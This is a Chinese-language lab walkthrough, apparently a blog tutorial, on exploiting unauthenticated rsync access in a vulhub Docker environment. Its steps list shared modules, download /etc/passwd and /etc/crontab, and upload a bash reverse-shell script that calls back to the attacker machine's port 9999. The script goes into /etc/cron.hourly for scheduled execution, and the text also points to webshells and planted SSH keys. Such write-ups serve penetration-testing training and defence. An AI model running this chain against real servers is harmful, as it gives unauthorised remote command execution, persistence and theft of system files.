rsync未授权访问漏洞利用-getshell
漏洞简介
rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。
rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。
rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。
环境搭建
靶机:kali 192.168.200.128
攻击机:centos 192.168.200.133
进入vulhub 启动
cd vulhub/rsync/common
docker-compose up -d
未授权漏洞复现
1.可以使用nmap去扫描该端口是否开启服务
还可以使用Metasploit中关于允许匿名访问的rsync扫描模块:
auxiliary/scanner/rsync/modules_list
2.使用显摆你的命令,可以列出目标靶机的同步目录、查看模块文件
rsync IP:: //这是在默认条件下没有改变默认的端口,默认密码是::
rsync --port=xxx ip:: //如果修改了默认端口就需要指定端口,这里就是需要自己指定47900端口
rsync -avz ip::www /tmp //-avz是下载文件的命令,前一个是目标内容,后一个是自己指定存储在本地的路径
rsync -avz --port=xxx ip::dddd /tmp
rsync ip::
rsync rsync://ip:873
3.下载敏感文件
rsync -av rsync://192.168.200.128:873/src/etc/passwd ./
上传文件反弹shell
1.查看crontab配置文件
rsync rsync://ip/src/etc/crontab
2.下载文件
rsync -av rsync://ip/src/etc/crontab /root/crontab.txt(/root/crontab.txt为下载路径)
其中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
3.我们可以这样写一个shell 反弹到攻击机9999端口
touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.200.133/9999 0>&1
chmod 777 shell
给他执行权限
4.传入/etc/cron.hourly目录下,监听端口。
rsync -av shell rsync://192.168.200.128:873/src/etc/cron.hourly


此外如果目标有Web服务的话,可以直接写WebShell,或者可以通过写ssh公钥实现获取权限。